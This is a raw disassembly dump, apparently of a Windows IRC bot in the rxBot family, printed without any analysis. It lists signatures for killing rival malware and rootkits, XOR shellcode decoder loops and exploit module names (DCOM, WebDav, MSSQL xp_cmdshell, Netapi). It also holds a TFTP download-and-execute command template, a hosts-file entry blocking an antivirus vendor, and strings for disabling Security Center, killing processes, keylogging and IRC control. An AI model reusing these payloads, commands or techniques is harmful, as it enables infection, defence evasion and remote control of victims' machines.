DATA XREF: .text:00447E88o aPenis_exe db 'penis.exe',0 ; DATA XREF: .text:00447E84o align 4 aWorm32_exe_0 db 'worm32.exe',0 ; DATA XREF: .text:00447E80o align 10h aMsile_exe db 'msile.exe',0 ; DATA XREF: .text:00447E7Co align 4 aSsms_exe db 'ssms.exe',0 ; DATA XREF: .text:00447E78o align 4 aEraseme_exe_0 db 'ERASEME*.EXE',0 ; DATA XREF: .text:00447E74o align 4 aEraseme_exe_1 db 'eraseme*.exe',0 ; DATA XREF: .text:00447E70o align 4 a_tmp_exe db '*.TMP.EXE',0 ; DATA XREF: .text:00447E6Co align 4 a_tmp_exe_0 db '*.tmp.exe',0 ; DATA XREF: .text:off_447E68o align 10h dword_44C980 dd 4E56025Bh, 5D023A43h, 20732520h, 7325202Dh, 25202D20h ; DATA XREF: .text:00447E5Co dd 73h dword_44C998 dd 65676152h, 2E746F42h, 42hdword_44C9A4 dd 2C343103h, 5B3A2E31h, 2C353103h, 47417231h, 546F4245h ; DATA XREF: .text:00447E54o dd 2C343103h, 2E3A5D31h, 2C353103h, 31h dword_44C9C8 dd 65676152h, 2E746F42h, 41haExploitingSUse db '(Exploiting: %s User: %s / Pass: %s',0Dh,0Ah ; DATA XREF: .text:00447E4Co db ')',0 align 4 aNtbot_b db 'NTBot.B',0 ; DATA XREF: .text:00447E48o aStaticConstUns db 'static const unsigned long crc32tab[256] = {',0 ; DATA XREF: .text:00447E44o align 4 aNtbot_a db 'NTBot.A',0 ; DATA XREF: .text:00447E40o ; --------------------------------------------------------------------------- loc_44CA3C: ; DATA XREF: .text:00447E3Co jmp short near ptr word_44CA4E ; --------------------------------------------------------------------------- dw 4A5Ah ; --------------------------------------------------------------------------- xor ecx, ecx mov cx, 13Ch loc_44CA46: ; CODE XREF: .text:0044CA4Aj xor byte ptr [edx+ecx], 99h loop loc_44CA46 ; --------------------------------------------------------------------------- db 2 dup(0) word_44CA4E dw 0 ; CODE XREF: .text:loc_44CA3Cj dd 70747448h, 432E4C44h, 2E65646Fh, 41h aHttpWww_fireda db 'http://www.firedaemon.com',0 align 4 aFiredaemon_b db 'FireDaemon.B',0 ; DATA XREF: .text:00447E30o align 4 aCopyrightC2007 db 'Copyright (c) 2007 FireDaemon Technologies Limited',0 ; DATA XREF: .text:00447E2Co align 10h aFiredaemon_a db 'FireDaemon.A',0 ; DATA XREF: .text:00447E28o align 10h aStrncpyWolffdi db 'strncpy(wolffdir, xdccdir, MAX_PATH); strncat(wolffdir, "\wolff",' db ' MAX_PATH)',0 aWolf_kit db 'Wolf.Kit',0 align 4 aDefineHe4_hook db '#define HE4_HOOK_INV_VERSION 0x20001005',0 db 0 aHe4hookrootkit db 'He4HookRootkit-v2.15b',0 align 4 aMsdirectx_sys db 'msdirectx.sys',0 align 4 aFu_driver_b db 'FU.Driver.b',0 aRdriv_sys db 'rdriv.sys',0 align 4 aFu_driver_a db 'FU.Driver.a',0 dd 301B3015h, 3054304Ah, 3067305Eh, 30AB3087h, 30C230B1h dd 31C331B7h, 31DB31CFh, 327A31F5h, 338E332Fh, 33A7339Ah dd 343233AFh, 3442343Ah, 345A344Fh, 34E634B3h, 34F834EFh dd 350A3501h, 351C3513h, 357E3524h, 366B3589h, 369C3688h dd 36C336BAh, 36EE36E4h, 37133709h, 377C3775h, 3797378Bh dd 391A37B1h, 39333924h, 39B13943h, 3A0B3A05h, 3A243A16h dd 3A453A3Ah, 3A643A55h, 3A783A69h, 3A913A8Bh, 3AAD3A9Eh dd 3AC23AB9h, 3ADE3AD8h, 0 aFu_rootkit_dri db 'FU.Rootkit.Driver',0 align 4 aStaticCharAc_d db 'static CHAR ac_driverName[] = "msdirectx.sys',0 align 4 aFu_rootkit_c db 'FU.Rootkit.c',0 align 4 aConstWcharDevi db 'const WCHAR deviceNameBuffer[] = L"\Device\msdirectx',0 align 4 aFu_rootkit_b db 'FU.Rootkit.b',0 align 4 aDefineFile_dev db '#define FILE_DEVICE_ROOTKIT 0x00002a7b',0 aFu_rootkit_a db 'FU.Rootkit.a',0 ; DATA XREF: .text:00447DE8o align 10h aImportMsnMsnme db '#import "MSN/MSNMessengerAPI.tlb" named_guids, no_namespace',0 ; DATA XREF: .text:00447DE4o aMsnbot_b db 'MSNBot.b',0 ; DATA XREF: .text:00447DE0o align 4 aStaticConstCha db 'static const char *msg_english[] = {',0 ; DATA XREF: .text:00447DDCo align 10h aMsnbot_a db 'MSNBot.a',0 ; DATA XREF: .text:00447DD8o align 4 aNircomline db 'NirComLine',0 ; DATA XREF: .text:00447DD0o ; .text:00447DD4o align 4 aPipeEpmapper db 'pipe\epmapper\',0 ; DATA XREF: .text:00447DCCo align 4 aDcomOldScan db 'Dcom-Old-Scan',0 ; DATA XREF: .text:00447DC8o align 4 aR0lgodlhfaauak db 'R0lGODlhFAAUAKIAAAAAAP//////93d3cDAwIaGhgQEBP//////wAAACH5BAEAAAY' ; DATA XREF: .text:00447DC4o db 'ALAAAAAAUABQAAAM8',0 align 4 aC99 db 'c99',0 ; DATA XREF: .text:00447DC0o aI2luy2x1zgugph db 'I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZ' ; DATA XREF: .text:00447DBCo db 'SA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZG' db 'UgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJ' db 'nYyxhcmd2KQ0KaW50I',0 align 4 aR57 db 'r57',0 ; DATA XREF: .text:00447DB8o aHiderunHiddenA db 'HideRun -- hidden application launcher.',0 ; DATA XREF: .text:00447DB4o aHiderun db 'HideRun',0 ; DATA XREF: .text:00447DB0o aSoftwareAdrian db 'Software\Adrian Lopez\HideWindow\Preferences HideWindow',0 ; DATA XREF: .text:00447DACo aHiderGui db 'Hider-Gui',0 ; DATA XREF: .text:00447DA8o align 10h aSoftwareMicr_6 db 'Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones' ; DATA XREF: .text:00447DA4o db '\3',0 aLowerzones db 'LowerZones',0 ; DATA XREF: .text:00447DA0o align 10h aWindowsupdate_ db 'windowsupdate.com',0 ; DATA XREF: .text:00447D9Co align 4 aMsblast db 'MsBlast',0 ; DATA XREF: .text:00447D98o dword_44CFCC dd 0FFFFFF43h, 1303030h, 282B1F0Ah, 132A12Bh, 0aBeagle db 'Beagle',0 ; DATA XREF: .text:00447D90o align 4 aDonateToTheHur db 'Donate to the Hurricane Katrina relief effort.',0 ; DATA XREF: .text:00447D8Co align 4 aBobic_b db 'Bobic.B',0 ; DATA XREF: .text:00447D88o aOsamaBinLadenC db 'Osama Bin Laden Captured.',0 ; DATA XREF: .text:00447D84o align 4 aBobic_a db 'Bobic.A',0 ; DATA XREF: .text:00447D80o ; --------------------------------------------------------------------------- loc_44D044: ; DATA XREF: .text:00447D7Co jmp short loc_44D055 ; --------------------------------------------------------------------------- loc_44D046: ; CODE XREF: .text:loc_44D055p pop ebx xor ecx, ecx sub cx, 0FFEEh loc_44D04D: ; CODE XREF: .text:0044D051j xor byte ptr [ebx], 55h inc ebx loop loc_44D04D jmp short near ptr word_44D05A ; --------------------------------------------------------------------------- loc_44D055: ; CODE XREF: .text:loc_44D044j call loc_44D046 ; --------------------------------------------------------------------------- word_44D05A dw 0 ; CODE XREF: .text:0044D053j dword_44D05C dd 69614D49h, 68532E6Ch, 6C6C65hdword_44D068 dd 0D959506Ah, 2474D9EEh, 73815BF4h, 6F8C0F13h, 0 ; DATA XREF: .text:00447D74o dword_44D07C dd 77537049h, 68637469h, 6568532Eh, 6C6Ch; --------------------------------------------------------------------------- loc_44D08C: ; DATA XREF: .text:00447D6Co jmp short near ptr word_44D0FE ; --------------------------------------------------------------------------- dw 3356h dd 408B64C0h, 78C08530h, 0C408B0Ch, 0 dword_44D0A0 dd 4474654Eh, 532E4544h, 6C6C6568h, 0; --------------------------------------------------------------------------- loc_44D0B0: ; DATA XREF: .text:00447D64o jmp short near ptr word_44D0C2 ; --------------------------------------------------------------------------- dw 4B5Bh ; --------------------------------------------------------------------------- xor ecx, ecx mov cx, 125h loc_44D0BA: ; CODE XREF: .text:0044D0BEj xor byte ptr [ebx+ecx], 99h loop loc_44D0BA ; --------------------------------------------------------------------------- db 2 dup(0) word_44D0C2 dw 0 ; CODE XREF: .text:loc_44D0B0j dword_44D0C4 dd 68637653h, 2E74736Fh, 6C656853h, 6Chdword_44D0D4 dd 8166C933h, 0D9FFB0E9h, 2474D9EEh, 73815BF4h, 0 ; DATA XREF: .text:00447D5Co dword_44D0E8 dd 63626954h, 68532E6Fh, 6C6C65h; --------------------------------------------------------------------------- loc_44D0F4: ; DATA XREF: .text:00447D54o jmp short loc_44D10F ; --------------------------------------------------------------------------- dw 315Eh dd 89E981C9h db 0FFh, 0 word_44D0FE dw 0 ; CODE XREF: .text:loc_44D08Cj aOld4444shell db 'Old4444Shell',0 ; DATA XREF: .text:00447D50o db 2 dup(0) ; --------------------------------------------------------------------------- loc_44D10F: ; CODE XREF: .text:loc_44D0F4j ; DATA XREF: .text:00447D4Co add [ebx+46h], dl push esp loc_44D113: ; DATA XREF: .text:00447D48o xor ds:53006925h, dh jnz short loc_44D17D aaa ; --------------------------------------------------------------------------- dd 0 a022moptestmv1_ db '022¬OPtest¬v1.1',0Dh,0Ah,0 ; DATA XREF: .text:00447D44o align 4 aOptix db 'Optix',0 ; DATA XREF: .text:00447D40o align 4 aPleaz_runS db 'pleaz_run%s',0 ; DATA XREF: .text:00447D3Co aNetdevil db 'NetDevil',0 ; DATA XREF: .text:00447D38o align 4 aSystemrootSyst db '%systemroot%\system32\cmd.exe',0 ; DATA XREF: .text:00447D34o align 4 aVncscan db 'VNCScan',0 ; DATA XREF: .text:00447D30o byte_44D17C db 80h ; DATA XREF: .text:00447D2Co ; --------------------------------------------------------------------------- loc_44D17D: ; CODE XREF: .text:0044D119j bound eax, [ecx] add bh, [ebp+1000100h] add [esi], dl ; --------------------------------------------------------------------------- db 8Fh dd 182h aIis5ssl db 'IIS5SSL',0 ; DATA XREF: .text:00447D28o aMain db '[MAIN]: ',0 ; DATA XREF: .text:00447D24o align 10h aRxMain db 'Rx Main',0 ; DATA XREF: .text:00447D20o ; --------------------------------------------------------------------------- loc_44D1A8: ; DATA XREF: .text:00447D1Co mov edi, ecx xor al, al inc al repne scasb jmp edi ; --------------------------------------------------------------------------- align 4 aWebdav db 'WebDav',0 ; DATA XREF: .text:00447D18o align 4 ; aExecMaster(long long, *) aExecMaster__xp db 'EXEC master..xp_cmdshell',0 ; DATA XREF: .text:00447D14o align 4 aMssql_b db 'MSSQL.B',0 ; DATA XREF: .text:00447D10o aThcthcthcthcth db 'THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC',0 ; DATA XREF: .text:00447D0Co align 4 aMssql_a db 'MSSQL.A',0 ; DATA XREF: .text:00447D08o a8d9f4e40A03d11 db '8d9f4e40-a03d-11ce-8f69-08003e30051b',0 ; DATA XREF: .text:00447D04o align 4 aPnp_b db 'PNP.b',0 ; DATA XREF: .text:00447D00o align 4 dword_44D24C dd 0E983C929h, 0D9EED9B0h, 5BF42474h, 19137381h, 0 ; DATA XREF: .text:00447CFCo dword_44D260 dd 2E504E50h, 61hdword_44D268 dd 41435302h, 3A3A204Eh, 220hdword_44D274 dd 43207852h, 726F6C6Fh, 6E616353h, 622Eha127_0_0_1Www_s db 0Ah ; DATA XREF: .text:00447CECo db '127.0.0.1',9,'www.symantec.com',0Ah,0 align 4 aChangehosts db 'ChangeHosts',0 ; DATA XREF: .text:00447CE8o dword_44D2B0 dd 57501C43h, 5AD1FF56h, 8430358h, 8B52F88Bh, 0dword_44D2C4 dd 6C6C6548h, 2E746F62h, 62hdword_44D2D0 dd 6C6C6548h, 2E746F62h, 61haRpcpatch_mutex db 'RpcPatch_Mutex',0 ; DATA XREF: .text:00447CD4o align 4 aWelchia_a db 'Welchia.a',0 ; DATA XREF: .text:00447CD0o align 4 aAddexExinfo db 'AddEx(exinfo)',0 ; DATA XREF: .text:00447CCCo align 4 aZotobForbotMod db 'Zotob/ForBot Mods',0 ; DATA XREF: .text:00447CC8o align 4 dword_44D31C dd 0DDCA6D6Ah, 8090F0E4h, 4A22Fh ; .text:00447CDCo aBlaster db 'Blaster',0 ; DATA XREF: .text:00447CC0o aFbsgjnerZvpe_0 db 'Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\PbzQyt32\Irefv' ; DATA XREF: .text:00447CBCo db 'ba',0 aMydoom_c db 'MyDoom.C',0 ; DATA XREF: .text:00447CB8o align 10h aFbsgjnerZvpebf db 'Fbsgjner\Zvpebfbsg\JNO\JNO4\Jno Svyr Anzr',0 ; DATA XREF: .text:00447CB4o align 4 aMydoom_b db 'MyDoom.B',0 ; DATA XREF: .text:00447CB0o align 4 dword_44D3B8 dd 9E3C1385h, 0A2hdword_44D3C0 dd 6F44794Dh, 412E6D6Fh, 2 dup(0)aSendingYouPack db '** Sending you pack #%i ("%s"), which is %sB (resume supported)',0 ; DATA XREF: .text:00447CA4o aIrofferAll db 'Iroffer-All',0 ; DATA XREF: .text:00447CA0o aTotalOffered1_ db 'Total Offered: %1.1f MB Total Transferred: %1.2f %cB',0 ; DATA XREF: .text:00447C9Co align 4 aIroffer_b db 'Iroffer.b',0 ; DATA XREF: .text:00447C98o align 10h aHttpIroffer_or db 'http://iroffer.org/',0 ; DATA XREF: .text:00447C94o aIroffer_a db 'Iroffer.a',0 ; DATA XREF: .text:00447C90o align 10h aRoot_start db 'root.start',0 ; DATA XREF: .text:00447C8Co align 4 aOtherbot_b db 'Otherbot.b',0 ; DATA XREF: .text:00447C88o align 4 aScan_start db 'scan.start',0 ; DATA XREF: .text:00447C84o align 4 aOtherbot_a db 'Otherbot.a',0 ; DATA XREF: .text:00447C80o align 10h dword_44D4B0 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8408BADh, 0aLinkbot_shellc db 'Linkbot.Shellcode',0 ; DATA XREF: .text:00447C78o align 4 aRpc_c db 'RPC.c:',0 ; DATA XREF: .text:00447C74o align 10h aLinkbot_rpc db 'Linkbot.RPC',0 ; DATA XREF: .text:00447C70o aDcom2 db 'dcom2:',0 ; DATA XREF: .text:00447C6Co align 4 aLinkbot_dcom_c db 'Linkbot.dcom.c',0 ; DATA XREF: .text:00447C68o align 4 aDcom2_c db 'dcom2.c:',0 ; DATA XREF: .text:00447C64o align 10h aLinkbot_dcom_b db 'Linkbot.dcom.b',0 ; DATA XREF: .text:00447C60o align 10h dword_44D520 dd 234032Dh, 6D6F6364h, 2632E32h, 2D03hdword_44D530 dd 6B6E694Ch, 2E746F62h, 6D6F6364h, 612Ehdword_44D540 dd 63737069h, 2A206E61h, 2A2E2A2Eh, 2A2Ehdword_44D550 dd 6B6E694Ch, 2D746F62h, 6E616353h, 612EhaWeBackLooooooo db 'We BaCk LoooooooooooOOOOOOOOOOOOOooo',0 ; DATA XREF: .text:00447C4Co align 4 aQ8 db 'Q8',0 ; DATA XREF: .text:00447C48o align 4 aPsniffThread db 'psniff thread',0 ; DATA XREF: .text:00447C44o align 4 aRbot_psniff db 'rbot.psniff',0 ; DATA XREF: .text:00447C40o dword_44D5A8 dd 0F254C481h, 0E8FCFFFFh, 46hoff_44D5B4 dd offset byte_4E5341 ; DATA XREF: .text:00447C38o dword_44D5B8 dd 0D959516Ah, 2474D9EEh, 0F4haNetapi4444bind db 'Netapi4444Bind',0 ; DATA XREF: .text:00447C30o align 4 a3GsUT db '3Ƀé°ÙîÙt',0 ; DATA XREF: .text:00447C2Co align 10h off_44D5E0 dd offset byte_4D5953 ; DATA XREF: .text:00447C28o dword_44D5E4 dd 0E983C933h, 0D9EED9AFh, 74haC101 db 'C101',0 ; DATA XREF: .text:00447C20o align 4 loc_44D5F8: ; DATA XREF: .text:00447C1Co jmp short loc_44D5FC ; --------------------------------------------------------------------------- loc_44D5FA: ; CODE XREF: .text:loc_44D5FCp jmp short near ptr byte_44D601 ; --------------------------------------------------------------------------- loc_44D5FC: ; CODE XREF: .text:loc_44D5F8j call loc_44D5FA ; --------------------------------------------------------------------------- byte_44D601 db 3 dup(0) ; CODE XREF: .text:loc_44D5FAj dword_44D604 dd 412E5450h, 0 dword_44D60C dd 4143535Bh, 203A5D4Eh, 0dword_44D618 dd 53207852h, 6E6163hdword_44D620 dd 0D959506Ah, 2474D9EEh, 0F4hdword_44D62C dd 5D42525Bh, 53746F42h, 6C6C6568h, 0dword_44D63C dd 34D9E1D9h, 58585824h, 58hdword_44D648 dd 6F626159h, 612E74h; --------------------------------------------------------------------------- loc_44D650: ; DATA XREF: .text:00447BFCo jmp short near ptr aTftp+6 ; --------------------------------------------------------------------------- dw 758Bh dd 35748B3Ch, 78h dword_44D65C dd 47323357h, 53206E65h, 43haCmdCTftpISGetS db 'cmd /c tftp -i %s GET %s &start %s &exit',0 ; DATA XREF: .text:00447BF4o align 4 aTftpget_b db 'TFTPGet.b',0 ; DATA XREF: .text:00447BF0o align 10h aTftp db '[TFTP]',0 ; CODE XREF: .text:loc_44D650j ; DATA XREF: .text:00447BECo align 4 aRxTftp db 'Rx TFTP',0 ; DATA XREF: .text:00447BE8o aTftpISGetSS db 'tftp -i %s get %s &%s',0Ah,0 ; DATA XREF: .text:00447BE4o align 4 aTftpget_a db 'TFTPGet.a',0 ; DATA XREF: .text:00447BE0o align 4 a220BotServerWi db '220 Bot Server (Win32)',0Dh,0Ah,0 ; DATA XREF: .text:00447BDCo align 10h aPhatbot db 'PhatBot',0 ; DATA XREF: .text:00447BD8o a220WelcomeToBo db '220 "Welcome to Bot FTP service."',0Dh,0Ah,0 ; DATA XREF: .text:00447BD4o aAgobot db 'AgoBot',0 ; DATA XREF: .text:00447BD0o align 4 aStnyftpd0wnsJ0 db 'StnyFtpd 0wns j00',0 ; DATA XREF: .text:00447BCCo align 4 aStnyftpd db 'StnyFtpd',0 ; DATA XREF: .text:00447BC8o align 4 aMain_0 db '-MAiN-',0 ; DATA XREF: .text:00447BC4o align 4 aRep08Main db 'Rep08 Main',0 ; DATA XREF: .text:00447BC0o align 4 a220ReptileWelc db '220 Reptile welcomes you..',0Dh,0Ah,0 ; DATA XREF: .text:00447BBCo align 4 aRep08Ftpd db 'Rep08 FTPd',0 ; DATA XREF: .text:00447BB8o align 4 aReptileWelcome db 'Reptile welcomes you...',0 ; DATA XREF: .text:00447BB4o aRepFtpd db 'Rep FTPd',0 ; DATA XREF: .text:00447BB0o align 4 loc_44D7A8: ; DATA XREF: .text:00447BACo jmp short near ptr word_44D7BA ; --------------------------------------------------------------------------- dw 4B5Bh dd 0B966C933h, 25h dword_44D7B4 dd 4C205852h db 53h, 0 word_44D7BA dw 0 ; CODE XREF: .text:loc_44D7A8j dword_44D7BC dd 5054465Bh, 203A5Dhdword_44D7C4 dd 46207852h, 7074h; --------------------------------------------------------------------------- loc_44D7CC: ; DATA XREF: .text:00447B9Co jmp short loc_44D7DE ; --------------------------------------------------------------------------- dw 4A5Ah dd 0B966C933h, 7Dh dword_44D7D8 dd 20706552h ; --------------------------------------------------------------------------- push ebx inc ebx loc_44D7DE: ; CODE XREF: .text:loc_44D7CCj xor al, [eax] loc_44D7E0: ; DATA XREF: .text:00447B94o jmp short near ptr word_44D7F2 ; --------------------------------------------------------------------------- dw 4A5Ah dd 0B966C933h, 66h dword_44D7EC dd 53205852h db 43h, 32h word_44D7F2 dw 0 ; CODE XREF: .text:loc_44D7E0j dword_44D7F4 dd 364C033h, 0C783040h, 8Bhdword_44D800 dd 53205852h, 3143hdword_44D808 dd 43524902h, 203A3A20h, 2dword_44D814 dd 43207852h, 726F6C6Fh, 2E435249h, 62hdword_44D824 dd 49414D02h, 3A3A204Eh, 220hdword_44D830 dd 43207852h, 726F6C6Fh, 622Ehdword_44D83C dd 63533A3Ah, 3A3A6E61h, 0dword_44D848 dd 43207852h, 726F6C6Fh, 6E616353h, 0dword_44D858 dd 614D3A3Ah, 3A3A6E69h, 0dword_44D864 dd 43207852h, 726F6C6Fh, 0dword_44D870 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: .text:00447B64o dd 2BBBB02h, 73552020h, 7265h dword_44D890 dd 5A4E7852h, 632E4Dha_n_z_m_Irc_p_l db '.n.z.m. (irc.p.l.g) .»». ',0 ; DATA XREF: .text:00447B5Co align 4 aRxnzm_b db 'RxNZM.b',0 ; DATA XREF: .text:00447B58o dword_44D8BC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: .text:00447B54o dd 2BBBB02h, 20h aRxnzm db 'RxNZM',0 ; DATA XREF: .text:00447B50o align 10h dword_44D8E0 dd 234032Dh, 6E69616Dh, 202D0302h, 0dword_44D8F0 dd 4C2D7852h, 2D6B6E69h, 2E414950h, 63hdword_44D900 dd 234032Dh, 6E616373h, 202D0302h, 0dword_44D910 dd 4C2D7852h, 2D6B6E69h, 414950hdword_44D91C dd 5446545Bh, 3A5D4450h, 20hdword_44D928 dd 54207852h, 64505446h, 0dword_44D934 dd 5446545Bh, 203A5D50h, 0dword_44D940 dd 54207852h, 2E505446h, 62hdword_44D94C dd 50544654h, 2F2Fhdword_44D954 dd 53207852h, 6873616Ch, 7446542Dh, 70hdword_44D964 dd 4E414353h, 2F2Fhdword_44D96C dd 53207852h, 6873616Ch, 6163532Dh, 6Ehdword_44D97C dd 4E49414Dh, 2F2Fhdword_44D984 dd 53207852h, 6873616Ch, 0dword_44D990 dd 4F57445Bh, 414F4C4Eh, 203A5D44h, 0dword_44D9A0 dd 44207852h, 6C6E776Fh, 64616Fhdword_44D9AC dd 5054465Bh, 203A5D44h, 0dword_44D9B8 dd 46207852h, 447074hdword_44D9C0 dd 59454B5Bh, 5D474F4Ch, 203Ahdword_44D9CC dd 4B207852h, 6F4C7965h, 67hdword_44D9D8 dd 234032Dh, 2637269h, 2D03haPiabot db 'PiABot',0 ; DATA XREF: .text:00447AF8o align 4 aIrc db 'IRC//',0 ; DATA XREF: .text:00447AF4o align 4 aRxIrc_c db 'Rx IRC.c',0 ; DATA XREF: .text:00447AF0o align 10h aIrc_0 db '[IRC]: ',0 ; DATA XREF: .text:off_447AECo aRxIrc db 'Rx IRC',0 ; DATA XREF: .text:00447AE8o align 10h aSFoundStringSI db '%s Found string "%s" in "%s" File "%s"',0 ; DATA XREF: sub_41EE89+D1o align 4 aSTerminatedAnd db '%s Terminated and deleted %s',0 ; DATA XREF: sub_41EFEF+BCo align 4 aSBkillShutdown db '%s bkill shutdown for wride.',0 ; DATA XREF: sub_41F0F5+3E4o ; sub_41F0F5+41Do align 4 aSRunningAvscan db '%s Running AVScan on %s',0 ; DATA XREF: sub_41F0F5+312o aSMatchedAndKil db '%s Matched and killing %s',0 ; DATA XREF: sub_41F0F5+29Do align 4 aSKillingS db '%s Killing %s',0 ; DATA XREF: sub_41F0F5+228o align 4 asc_44DABC: ; DATA XREF: sub_41F0F5+56o ; sub_423919+A4o ... unicode 0, <\>,0 aSProcsSSTotalS db '%s Procs %s: "%s", Total %s Time: %s.',0 ; DATA XREF: sub_41F533+2FBo align 4 aSCreatedProcSP db '%s Created proc: "%s", PID: <%d>',0 ; DATA XREF: sub_41F533+1CAo align 4 aSSToCreatePr_0 db '%s %s to create proc: "%s", %s: <%d>',0 ; DATA XREF: sub_41F533+16Fo ; sub_41F533+19Do align 4 aSCouldnTPars_0 db '%s Couldn',27h,'t parse path, %s <%d>',0 ; DATA XREF: sub_41F533+98o ; sub_41F533+BEo aSPidIKilledAnd db '%s PID "%i" killed and deleted',0 ; DATA XREF: sub_41F876+3D8o align 4 aSFailedToKillA db '%s Failed to kill and erase proc',0 ; DATA XREF: sub_41F876+37Bo align 4 aSFailedToKillP db '%s Failed to kill proc',0 ; DATA XREF: sub_41F876:loc_41FB1Eo align 10h aSPidIKilled db '%s PID "%i" killed',0 ; DATA XREF: sub_41F876+251o align 4 aSProSKilledTot db '%s Pro "%s" killed,total: <%s>',0 ; DATA XREF: sub_41F876+1F9o align 4 aSUnableToListP db '%s Unable to list procs, %s: <%d>',0 ; DATA XREF: sub_41F876+185o ; sub_41F876+1AAo align 4 aSEndOfList db '%s End of list',0 ; DATA XREF: sub_41F876+14Do align 4 a6d10sS db ' %-6d- %-10s- "%s"',0 ; DATA XREF: sub_41F876+106o align 4 aK db ' K',0 ; DATA XREF: sub_41F876+E9o align 10h aPidAMemoryUsag db ' PID - Memory Usage - Process',0 ; DATA XREF: sub_41F876+9Do aSProcsList db '%s Procs List:',0 ; DATA XREF: sub_41F876+82o align 10h aSS_4 db '%s / %s',0Ah,0 ; DATA XREF: sub_41FC58+17Ao align 4 aSD_2 db '%s: <%d>',0 ; DATA XREF: sub_41FC58+11Do align 4 aUnknown db 'unknown',0 ; DATA XREF: sub_41FE3F+E0o ; sub_427F60+3Bo aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_41FE3F+5Co ; sub_42003C+4Eo align 4 aSPingRequestFr db '%s Ping request from: %s!%s@%s',0 ; DATA XREF: sub_42045F+62Fo align 4 dword_44DCB4 dd 4E495001h, 73252047h, 0dword_44DCC0 dd 4E495001h, 47haTransferComple db 'Transfer complete from IP: %s, File: %s (%s bytes).',0 ; DATA XREF: sub_42045F+582o aSSOpeningFileF db '%s %s opening file for writing.',0 ; DATA XREF: sub_42045F+441o off_44DD1C dd offset byte_622B61 ; DATA XREF: sub_42045F+423o aSSUnableToWrit db '%s %s unable to write file to disk.',0 ; DATA XREF: sub_42045F+40Fo aSend_0 db 'SEND',0 ; DATA XREF: sub_42045F+39Co align 4 aSDccRequestFro db '%s DCC request from: %s!%s@%s',0 ; DATA XREF: sub_42045F+38Co align 4 dword_44DD6C dd 43434401h, 0 aSVersionReques db '%s Version request from: %s!%s@%s',0 ; DATA XREF: sub_42045F+346o align 4 dword_44DD98 dd 52455601h, 4E4F4953h, 1732520h, 0dword_44DDA8 dd 52455601h, 4E4F4953h, 1aSSSS@SPassTrie db '%s %s [%s!%s@%s] (Pass Tried -> %s)',0 ; DATA XREF: sub_42045F+212o aSS@S db '%s!%s@%s',0 ; DATA XREF: sub_42045F+1A7o align 4 aSSSS@SSentPmS db '%s %s %s!%s@%s (Sent PM -> "%s")',0 ; DATA XREF: sub_42045F+154o align 4 asc_44DE08: ; DATA XREF: sub_42045F+28o ; sub_420B3B+8Co unicode 0, <+>,0 aTopic db 'topic',0 ; DATA XREF: sub_420B3B+10Bo align 4 a433 db '433',0 ; DATA XREF: sub_420D91+BAo ; sub_4263D5:loc_426450o a422 db '422',0 ; DATA XREF: sub_420D91+A9o a376 db '376',0 ; DATA XREF: sub_420D91+9Co a005 db '005',0 ; DATA XREF: sub_420D91+91o a366 db '366',0 ; DATA XREF: sub_420D91+7Do a332 db '332',0 ; DATA XREF: sub_420D91+6Co a302 db '302',0 ; DATA XREF: sub_420D91+5Fo off_44DE30 dd offset dword_554B48 ; DATA XREF: sub_420E5B+7Do aHkey_users db 'HKEY_USERS',0 ; DATA XREF: sub_420E5B+71o align 10h aHkcc db 'HKCC',0 ; DATA XREF: sub_420E5B+65o align 4 aHkey_current_c db 'HKEY_CURRENT_CONFIG',0 ; DATA XREF: sub_420E5B+59o aHkcr db 'HKCR',0 ; DATA XREF: sub_420E5B+4Do align 4 aHkey_classes_r db 'HKEY_CLASSES_ROOT',0 ; DATA XREF: sub_420E5B+41o align 4 aHkcu db 'HKCU',0 ; DATA XREF: sub_420E5B+35o ; sub_42184C+9Bo ... align 10h aHkey_current_u db 'HKEY_CURRENT_USER',0 ; DATA XREF: sub_420E5B+29o align 4 aHklm db 'HKLM',0 ; DATA XREF: sub_420E5B+1Do ; sub_42184C+94o ... align 4 aHkey_local_mac db 'HKEY_LOCAL_MACHINE',0 ; DATA XREF: sub_420E5B+Do align 10h aReg_dword db 'REG_DWORD',0 ; DATA XREF: sub_420F07:loc_420F38o align 4 aReg_multi_sz db 'REG_MULTI_SZ',0 ; DATA XREF: sub_420F07:loc_420F5Ao align 4 aReg_expand_sz db 'REG_EXPAND_SZ',0 ; DATA XREF: sub_420F07:loc_420F26o align 4 aReg_sz db 'REG_SZ',0 ; DATA XREF: sub_420F07:loc_420F2Co align 4 aReg_dword_big_ db 'REG_DWORD_BIG_ENDIAN',0 ; DATA XREF: sub_420F07:loc_420F66o align 4 aReg_link db 'REG_LINK',0 ; DATA XREF: sub_420F07:loc_420F60o align 4 aReg_qword db 'REG_QWORD',0 ; DATA XREF: sub_420F07:loc_420F54o align 4 aUnknown_0 db 'UNKNOWN',0 ; DATA XREF: sub_420F07:loc_420F4Eo aReg_none db 'REG_NONE',0 ; DATA XREF: sub_420F07:loc_420F32o align 4 aReg_binary db 'REG_BINARY',0 ; DATA XREF: sub_420F07+19o align 4 a_2dSSS db '(%.2d) %s\%s (%s)',0 ; DATA XREF: sub_421126+169o align 4 aDefault db '(Default)',0 ; DATA XREF: sub_421126+148o align 4 a_2dSS db '(%.2d) %s\%s',0 ; DATA XREF: sub_421126+C0o align 8 off_44DF68 dd offset aTlntsvr ; DATA XREF: sub_421E93+2Dr ; "Tlntsvr" dd offset aRemoteregistry ; "RemoteRegistry" dd offset aMessenger ; "Messenger" dd offset aWscsvc ; "wscsvc" off_44DF78 dd offset aTelnet ; DATA XREF: sub_421E93+6Er ; sub_421E93+ABr ... ; "Telnet" dd offset aRemoteRegistry ; "Remote Registry" dd offset aMessenger ; "Messenger" dd offset aSecurityCenter ; "Security Center" dword_44DF88 dd 80000002h ; sub_42184C:loc_4218D6r 